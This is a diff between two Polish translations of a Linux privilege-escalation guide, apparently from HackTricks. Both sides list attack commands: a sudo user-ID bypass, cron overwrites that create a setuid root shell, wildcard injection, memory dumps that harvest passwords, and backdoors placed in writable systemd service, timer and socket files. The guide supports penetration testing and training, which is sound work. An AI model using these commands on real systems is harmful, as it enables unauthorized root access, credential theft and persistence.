"1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Weryfikacja podpisu Dmesg nie powiodła się +### Dmesg signature verification failed -Sprawdź **smasher2 box of HTB** jako **przykład**, jak można wykorzystać tę vuln. +Sprawdź **smasher2 box of HTB** dla **przykładu**, jak tę vuln można wykorzystać ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Wymień możliwe środki obronne +## Wymień możliwe zabezpieczenia ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Jeśli znajdujesz się w docker container możesz spróbować się z niego wydostać: +Jeśli znajdujesz się wewnątrz kontenera docker możesz spróbować z niego uciec: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Dyski -Sprawdź **what is mounted and unmounted**, gdzie i dlaczego. Jeśli coś jest unmounted, możesz spróbować to mount i sprawdzić, czy znajdują się tam prywatne informacje +Sprawdź **co jest zamontowane i odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić, czy nie zawiera poufnych informacji. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +145,56 @@ Wymień przydatne binaria ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Sprawdź również, czy **any compiler is installed**. Jest to przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). +Sprawdź również, czy **jakiś kompilator jest zainstalowany**. Przyda się to, jeśli będziesz musiał użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Zainstalowane podatne oprogramowanie -Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do eskalacji uprawnień…\ +Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…\ Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Jeśli masz dostęp SSH do maszyny, możesz także użyć **openVAS** aby sprawdzić przestarzałe i podatne oprogramowanie zainstalowane na maszynie. -> [!NOTE] > _Zauważ, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy którakolwiek z zainstalowanych wersji oprogramowania jest podatna na znane exploits_ +> [!NOTE] > _Zauważ, że te polecenia pokażą dużo informacji, które w większości będą bezużyteczne, dlatego zalecane jest użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy jakakolwiek z zainstalowanych wersji oprogramowania jest podatna na known exploits_ -## Processes +## Procesy -Take a look at **jakie procesy** są uruchomione i sprawdź, czy któryś proces nie ma **więcej uprawnień niż powinien** (może tomcat uruchomiony przez root?) +Spójrz, **jakie procesy** są uruchamiane i sprawdź, czy któryś proces nie ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez root?) ```bash ps aux ps -ef top -n 1 ``` -Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w linii poleceń procesu.\ -Również **sprawdź swoje uprawnienia względem binarek procesów**, być może możesz nadpisać którąś z nich. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### Process monitoring +### Monitorowanie procesów -Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do identyfikowania podatnych procesów uruchamianych często lub gdy spełniony jest zestaw wymagań. +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do zidentyfikowania podatnych procesów uruchamianych często lub gdy spełnione są określone warunki. -### Process memory +### Pamięć procesu -Niektóre usługi na serwerze zapisują **credentials in clear text inside the memory**.\ -Zazwyczaj będziesz potrzebować **root privileges**, aby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle przydatniejsze, gdy jesteś już root i chcesz odnaleźć więcej credentials.\ -Jednak pamiętaj, że **as a regular user you can read the memory of the processes you own**. +Niektóre usługi serwera zapisują **credentials in clear text inside the memory**.\ +Zazwyczaj będziesz potrzebować **root privileges**, aby czytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle bardziej przydatne, gdy już masz root i chcesz odkryć więcej credentials.\ +Pamiętaj jednak, że **jako zwykły użytkownik możesz czytać pamięć procesów, które posiadasz**. > [!WARNING] -> Zwróć uwagę, że obecnie większość maszyn domyślnie nie pozwala na ptrace, co oznacza, że nie możesz zrzucać pamięci innych procesów należących do nieuprzywilejowanego użytkownika. +> Zauważ, że obecnie większość maszyn **nie pozwala na ptrace domyślnie**, co oznacza, że nie możesz zrzucać innych procesów należących do twojego nieuprzywilejowanego użytkownika. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: > > - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, pod warunkiem że mają ten sam uid. To klasyczny sposób działania ptrace. -> - **kernel.yama.ptrace_scope = 1**: tylko proces rodzicielski może być debugowany. -> - **kernel.yama.ptrace_scope = 2**: Tylko admin może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Żadne procesy nie mogą być śledzone przy użyciu ptrace. Po ustawieniu wymagane jest ponowne uruchomienie systemu, aby ponownie włączyć ptrace. +> - **kernel.yama.ptrace_scope = 1**: tylko proces nadrzędny może być debugowany. +> - **kernel.yama.ptrace_scope = 2**: tylko admin może używać ptrace, ponieważ wymagana jest capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: żadne procesy nie mogą być śledzone przy użyciu ptrace. Po ustawieniu wymagany jest reboot, aby ponownie włączyć ptrace. #### GDB -Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać Heap i przeszukać go pod kątem jej credentials. +Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz pobrać Heap i przeszukać go w poszukiwaniu credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Skrypt GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Dla danego identyfikatora procesu, **maps pokazuje, jak pamięć jest mapowana we wirtualnej przestrzeni adresowej tego procesu**; pokazuje także **uprawnienia każdego zmapowanego regionu**. Pseudoplik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **regiony pamięci są czytelne** i ich offsety. Wykorzystujemy te informacje, aby wykonać seek w pliku **mem** i zrzucić wszystkie czytelne regiony do pliku. +Dla danego PID, **maps pokazują, jak pamięć jest mapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazują też **uprawnienia każdej zmapowanej strefy**. Pseudo-plik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **obszary pamięci są do odczytu** oraz ich przesunięcia. Wykorzystujemy te informacje, aby **przesunąć wskaźnik w pliku mem i zrzucić wszystkie regiony dostępne do odczytu** do pliku. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` zapewnia dostęp do **pamięci fizycznej** systemu, a nie pamięci wirtualnej. Przestrzeń adresowa jądra można uzyskać przy użyciu /dev/kmem.\ -Zazwyczaj, `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. +`/dev/mem` zapewnia dostęp do systemowej **pamięci fizycznej**, a nie pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\ +Zazwyczaj `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump dla linux -ProcDump to wersja dla linux klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz je z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump to adaptacja klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz je z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,30 +270,30 @@ Press Ctrl-C to end monitoring without terminating the process. Aby zrzucić pamięć procesu możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania root i zrzucić proces należący do Ciebie -- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania root i zrzucić proces należący do ciebie +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root) ### Dane uwierzytelniające z pamięci procesu #### Przykład ręczny -Jeśli znajdziesz, że proces authenticator jest uruchomiony: +Jeśli stwierdzisz, że proces authenticator jest uruchomiony: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucania pamięci procesu) i wyszukać poświadczenia w pamięci: +Możesz dump the process (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na dump the memory of a process) i przeszukać credentials w memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać poświadczenia w postaci jawnego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień root, aby działać poprawnie. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać poświadczenia w postaci jawnego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień roota, aby działać prawidłowo. -| Feature | Process Name | +| Funkcja | Nazwa procesu | | ------------------------------------------------- | -------------------- | -| Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (aktywne połączenia FTP) | vsftpd | @@ -314,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zaplanowane zadania/Cron jobs +## Zaplanowane/Cron jobs -Sprawdź, czy któreś zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt wykonywany przez root (wildcard vuln? można modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretnie pliki w katalogu, którego używa root?). +Sprawdź, czy któreś ze zaplanowanych zadań jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? można modyfikować pliki, których używa root? użyć symlinks? stworzyć specyficzne pliki w katalogu, którego używa root?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -326,10 +326,11 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul Na przykład, w pliku _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Zwróć uwagę, że użytkownik "user" ma uprawnienia zapisu do /home/user_) +(_Zwróć uwagę, że użytkownik "user" ma uprawnienia zapisu w /home/user_) -Jeśli w tym crontabie użytkownik root spróbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ -Wtedy możesz uzyskać root shell używając: +Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ + +Wtedy możesz uzyskać powłokę roota, używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,57 +338,57 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron używający skryptu z wildcard (Wildcard Injection) -Jeśli skrypt uruchamiany przez root ma “**\***” wewnątrz polecenia, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (np. privesc). Przykład: +Jeśli skrypt uruchamiany przez root ma “**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych efektów (np. privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeśli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, to nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeśli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj następującą stronę, aby uzyskać więcej trików dotyczących wildcard exploitation: +Przeczytaj następującą stronę, aby poznać więcej trików dotyczących wildcard exploitation: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script nadpisywanie i symlink +### Nadpisywanie skryptu Cron i symlink -Jeśli **możesz zmodyfikować cron script** wykonywany przez root, możesz bardzo łatwo uzyskać shell: +Jeśli **możesz zmodyfikować cron script** uruchamiany przez root, możesz bardzo łatwo uzyskać shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Jeśli script uruchamiany przez root używa **katalogu, do którego masz pełny dostęp**, może być przydatne usunięcie tego katalogu i **utworzenie katalogu symlink wskazującego na inny**, który będzie serwował script kontrolowany przez ciebie. +Jeśli script uruchamiany przez root korzysta z **katalogu, do którego masz pełny dostęp**, może być przydatne usunięcie tego katalogu i **utworzenie symlinku wskazującego na inny**, który będzie serwował script kontrolowany przez ciebie. ```bash ln -d -s ``` ### Częste cron jobs -Możesz monitorować processes, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges. +Możesz monitorować procesy, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i eskalować uprawnienia. -Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **sort by less executed commands** i usunąć commands, które zostały wykonane najczęściej, możesz zrobić: +Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według najmniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wypisywać każdy proces, który się uruchamia). +**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać wszystkie procesy, które zostaną uruchomione). ### Niewidoczne cron jobs -Można utworzyć cronjob **umieszczając znak CR (carriage return) po komentarzu** (bez znaku nowej linii), a cron job będzie działać. Przykład (zwróć uwagę na znak CR): +Możliwe jest utworzenie cronjoba **wstawiając znak carriage return po komentarzu** (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Usługi -### Pliki _.service_ możliwe do zapisu +### Zapisywalne pliki _.service_ -Sprawdź, czy możesz zapisać dowolny plik `.service`; jeśli tak, **możesz go zmodyfikować**, tak aby **uruchamiał** twój **backdoor gdy** usługa jest **uruchomiona**, **zrestartowana** lub **zatrzymana** (może być konieczne poczekanie na ponowne uruchomienie maszyny).\ -Na przykład umieść swój backdoor wewnątrz pliku .service używając **`ExecStart=/tmp/script.sh`** +Sprawdź, czy możesz zapisać dowolny plik `.service`, jeśli tak, możesz go **zmodyfikować**, aby **uruchamiał** twój **backdoor**, gdy usługa jest **uruchamiana**, **restartowana** lub **zatrzymywana** (może być konieczne oczekiwanie na reboot maszyny).\ +Na przykład umieść swój backdoor w pliku .service używając **`ExecStart=/tmp/script.sh`** -### Pliki binarne usług z prawami zapisu +### Zapisywalne pliki binarne usług -Miej na uwadze, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmienić, wstawiając backdoors, tak że gdy usługi zostaną ponownie uruchomione, backdoors zostaną wykonane. +Pamiętaj, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmienić, aby umieścić backdoor, tak że po ponownym uruchomieniu usług backdoor zostanie wykonany. ### systemd PATH - Ścieżki względne @@ -395,72 +396,72 @@ Możesz zobaczyć PATH używany przez **systemd** za pomocą: ```bash systemctl show-environment ``` -Jeśli stwierdzisz, że możesz **zapisać** w którymkolwiek z katalogów w ścieżce, możesz być w stanie **escalate privileges**. Musisz szukać **ścieżek względnych używanych w plikach konfiguracyjnych usług**, takich jak: +Jeśli stwierdzisz, że możesz **zapisywać** w którymkolwiek z folderów na tej ścieżce, możesz być w stanie **eskalować uprawnienia**. Musisz szukać **ścieżek względnych używanych w plikach konfiguracyjnych usług** takich jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Następnie utwórz **executable** o **same name as the relative path binary** w folderze systemd PATH, do którego możesz zapisać, a gdy serwis zostanie poproszony o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), Twój **backdoor will be executed** (użytkownicy bez uprawnień zwykle nie mogą startować/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). +Następnie utwórz **wykonywalny plik** o **takiej samej nazwie jak binarka w ścieżce względnej** wewnątrz folderu systemd PATH, do którego masz zapis, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy nieuprzywilejowani zwykle nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). **Dowiedz się więcej o usługach za pomocą `man systemd.service`.** -## **Timers** +## **Timery** -**Timers** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki `**.service**` lub zdarzenia. **Timers** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarzowym oraz monotonicznym i mogą być uruchamiane asynchronicznie. +Timery to pliki unit systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki lub zdarzenia `**.service**`. Timery mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń czasowych kalendarza i zdarzeń monotonicznych oraz mogą być uruchamiane asynchronicznie. -Możesz wyświetlić wszystkie timers za pomocą: +Możesz wylistować wszystkie timery za pomocą: ```bash systemctl list-timers --all ``` ### Zapisywalne timery -Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi on niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`). +Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi on niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`) ```bash Unit=backdoor.service ``` W dokumentacji możesz przeczytać, czym jest Unit: -> Jednostka, którą należy aktywować, gdy ten timer wygaśnie. Argument to nazwa jednostki, której sufiks nie jest ".timer". Jeśli nie określono, ta wartość domyślnie wskazuje na service o tej samej nazwie co timer unit, z wyjątkiem sufiksu. (Zobacz wyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, oraz nazwa timer unit były identyczne, z wyjątkiem sufiksu. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Dlatego, aby nadużyć tego uprawnienia, musiałbyś: +Dlatego, aby nadużyć tego uprawnienia musiałbyś: -- Znaleźć jakiś systemd unit (np. `.service`), który **uruchamia writable binary** -- Znaleźć jakiś systemd unit, który **uruchamia relative path** i nad którym masz **writable privileges** w **systemd PATH** (aby podszyć się pod ten executable) +- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia binarkę, do której masz prawa zapisu** +- Znaleźć jednostkę systemd, która **uruchamia względną ścieżkę** i masz **uprawnienia zapisu** do **systemd PATH** (aby podszyć się pod ten plik wykonywalny) **Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** -### **Włączanie Timera** +### **Włączanie timera** -Aby włączyć timer potrzebujesz uprawnień root i uruchomić: +Aby włączyć timer, potrzebujesz uprawnień roota i musisz wykonać: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Zauważ, że **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` +Zwróć uwagę, że **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` -## Sockets +## Gniazda -Unix Domain Sockets (UDS) umożliwiają **komunikację między procesami** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są ustawiane za pomocą plików `.socket`. +Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. -Sockets można konfigurować przy użyciu plików `.socket`. +Sockets can be configured using `.socket` files. -**Dowiedz się więcej o sockets za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: +**Dowiedz się więcej o sockets za pomocą `man systemd.socket`.** Wewnątrz tego pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje się różnią, ale w skrócie służą do **wskazania, gdzie będzie nasłuchiwane** gniazdo (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu do nasłuchiwania itp.) -- `Accept`: Przyjmuje argument typu boolean. Jeśli **true**, dla każdego przychodzącego połączenia **uruchamiany jest osobny egzemplarz service**, a jedynie gniazdo połączenia jest do niego przekazywane. Jeśli **false**, wszystkie gniazda nasłuchujące są **przekazywane do uruchomionej jednostki service**, i tylko jedna jednostka service jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla datagram sockets i FIFOs, gdzie jedna jednostka service niezmiennie obsługuje cały przychodzący ruch. **Domyślnie: false**. Ze względów wydajnościowych zaleca się pisać nowe demony w sposób zgodny z `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **sockets**/FIFOs, odpowiednio. Pierwszy token linii poleceń musi być absolutną ścieżką do pliku wykonywalnego, po którym następują argumenty procesu. -- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **sockets**/FIFOs, odpowiednio. -- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **ruchu przychodzącym**. To ustawienie jest dozwolone tylko dla sockets z Accept=no. Domyślnie wskazuje na jednostkę service o tej samej nazwie co socket (z zamienionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje różnią się, ale w skrócie służą do **wskazania, gdzie będzie nasłuchiwany** socket (ścieżka pliku gniazda AF_UNIX, numer IPv4/6 i/lub port do nasłuchu itp.) +- `Accept`: Przyjmuje argument typu boolean. Jeśli **true**, dla każdego przychodzącego połączenia tworzona jest **instancja serwisu** i tylko gniazdo połączenia jest do niej przekazywane. Jeśli **false**, wszystkie nasłuchujące gniazda są **przekazywane do uruchomionej jednostki serwisu**, i tworzona jest tylko jedna jednostka serwisu dla wszystkich połączeń. Ta wartość jest ignorowana dla datagramów i FIFO, gdzie jedna jednostka serwisu bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie false**. Ze względów wydajnościowych zaleca się pisanie nowych daemonów w sposób zgodny z `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **gniazd**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być ścieżką bezwzględną do pliku wykonywalnego, po którym następują argumenty procesu. +- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **gniazd**/FIFO, odpowiednio. +- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **przychodzącym ruchu**. To ustawienie jest dozwolone tylko dla gniazd z Accept=no. Domyślnie wskazuje serwis o tej samej nazwie co socket (z zastąpionym sufiksem). W większości przypadków nie jest konieczne używanie tej opcji. -### Zapisowalne .socket files +### Zapisywalne pliki .socket -Jeśli znajdziesz **zapisowalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie uruchomiony przed utworzeniem gniazda. W związku z tym **prawdopodobnie będziesz musiał poczekać na restart maszyny.**\ -_I pamiętaj, że system musi używać tej konfiguracji pliku socket, inaczej backdoor nie zostanie uruchomiony_ +Jeśli znajdziesz **zapisywalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie uruchomiony przed utworzeniem socketu. W związku z tym **prawdopodobnie będziesz musiał poczekać na ponowne uruchomienie maszyny.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Zapisowalne gniazda +### Zapisywalne gniazda -Jeśli **zidentyfikujesz jakiekolwiek zapisywalne gniazdo** (_mówimy tu o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i być może wykorzystać lukę. +Jeśli **zidentyfikujesz jakiekolwiek zapisywalne gniazdo** (_tu mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i ewentualnie wykorzystać podatność. ### Enumeracja Unix Sockets ```bash @@ -484,28 +485,28 @@ socket-command-injection.md ### HTTP sockets -Zauważ, że mogą istnieć **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). Możesz to sprawdzić za pomocą: +Zwróć uwagę, że mogą istnieć **sockets nasłuchujące żądań HTTP** (_Nie mam na myśli .socket files, lecz pliki działające jako unix sockets_). Możesz to sprawdzić za pomocą: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli socket **odpowiada na żądania HTTP**, możesz się z nim **komunikować** i być może **exploit some vulnerability**. +Jeśli socket **odpowiada na żądanie HTTP**, to możesz **komunikować się** z nim i być może **wykorzystać jakąś podatność**. -### Zapisalny Docker Socket +### Zapisywalny Docker Socket -Docker socket, często znajdujący się pod `/var/run/docker.sock`, to krytyczny plik, który należy zabezpieczyć. Domyślnie jest zapisywalny przez użytkownika `root` oraz członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do privilege escalation. Poniżej znajduje się przegląd, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. +Docker socket, często znajdujący się w `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest on zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu do tego socketu może prowadzić do eskalacji uprawnień. 